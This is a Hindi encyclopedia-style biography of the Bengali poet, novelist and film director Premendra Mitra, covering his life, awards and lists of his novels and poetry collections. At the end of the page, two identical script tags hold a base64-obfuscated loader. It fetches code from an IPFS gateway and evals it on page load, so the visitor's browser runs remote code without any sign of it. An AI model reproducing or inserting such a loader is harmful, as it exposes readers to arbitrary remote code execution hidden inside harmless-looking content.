प्रेमेन्द्र मित्र

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
प्रेमेन्द्र मित्र
प्रेमेन्द्र मित्र
पूरा नाम प्रेमेन्द्र मित्र
जन्म 4 सितम्बर, 1904
जन्म भूमि वाराणसी, उत्तर प्रदेश
मृत्यु 3 मई, 1988
मृत्यु स्थान कोलकाता, पश्चिम बंगाल
कर्म भूमि भारत
कर्म-क्षेत्र लेखन
भाषा बांग्ला भाषा
शिक्षा बी.ए., स्कॉटिश चर्च कॉलेज, कलकत्ता
पुरस्कार-उपाधि पद्म श्री, 1961

साहित्य अकादमी पुरस्कार, 1957

प्रसिद्धि कवि, लेखक तथा फ़िल्म निर्देशक
नागरिकता भारतीय
अद्यतन‎
इन्हें भी देखें कवि सूची, साहित्यकार सूची

प्रेमेन्द्र मित्र (अंग्रेज़ी: Premendra Mitra, जन्म- 4 सितम्बर, 1904; मृत्यु- 3 मई, 1988) बंगाली कवि, लेखक तथा फ़िल्म निर्देशक थे। उन्होंने बंगाली साहित्य को बहुत सी प्रसिद्ध कृतियाँ दी हैं। प्रेमेन्द्र मित्र के लिखे उपन्यास, कविताएँ तथा बाल साहित्य आदि उनकी बंगाली साहित्य को अमूल्य देन है। सन 1957 में प्रेमेन्द्र मित्र को उनके कविता संग्रह 'सागर थेके फेरा' के लिये साहित्य अकादमी पुरस्कार से सम्मानित किया गया था।

परिचय

  • प्रेमेन्द्र मित्र का जन्म 4 सितम्बर, 1904 को वाराणसी, उत्तर प्रदेश में हुआ था, जहां उनके पिता ज्ञानेंद्रनाथ मित्र भारतीय रेलवे के कर्मचारी थे।
  • पिता के रेलवे कर्मचारी होने के कारण प्रेमेन्द्र मित्र को भारत में कई जगहों की यात्रा करने का अवसर मिला।
  • अपनी माँ को खोने के बाद, जिनकी बचपन में मृत्यु हो गई, प्रेमेन्द्र मित्र का पालन-पोषण उनके दादा-दादी ने उत्तर प्रदेश में किया। बाद का जीवन कलकत्ता (अब कोलकाता) और ढाका में बिताया।
  • प्रेमेन्द्र मित्र दक्षिण उपनगरीय स्कूल के छात्र थे। उन्होंने कलकत्ता के स्कॉटिश चर्च कॉलेज में बीए के लिए दाखिला लिया था।

रचनाएँ

उपन्यास
  • पंक (कीचड़)
  • मिचिल (जुलूस)
  • उपनयन (समारोह)
  • प्रोतिशोद (बदला)
  • कुशा (कोहरा)
  • प्रोतिध्वोनी फेरे
  • हाट बरलेई बंधु
  • ओरा ठाके ओधारे
कविता
  • प्रोथोमा (प्रथम महिला)
  • सोमरत (सम्राट)
  • फेरारी फौज (द लॉस्ट आर्मी)
  • सागर थेके फेरा (समुद्र से लौटते हुए)
  • होरिन चीता चिल (हिरण, चीता, पतंग)
  • कोखोनो मेघ
  • बंगाली लेखक प्रेमेन्द्र मित्र की मृत्यु 3 मई, 1988 को कोलकाता, पश्चिम बंगाल में हुई।

मृत्यु

प्रेमेन्द्र मित्र की मृत्यु 3 मई, 1988 को कोलकाता, पश्चिम बंगाल में हुई।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>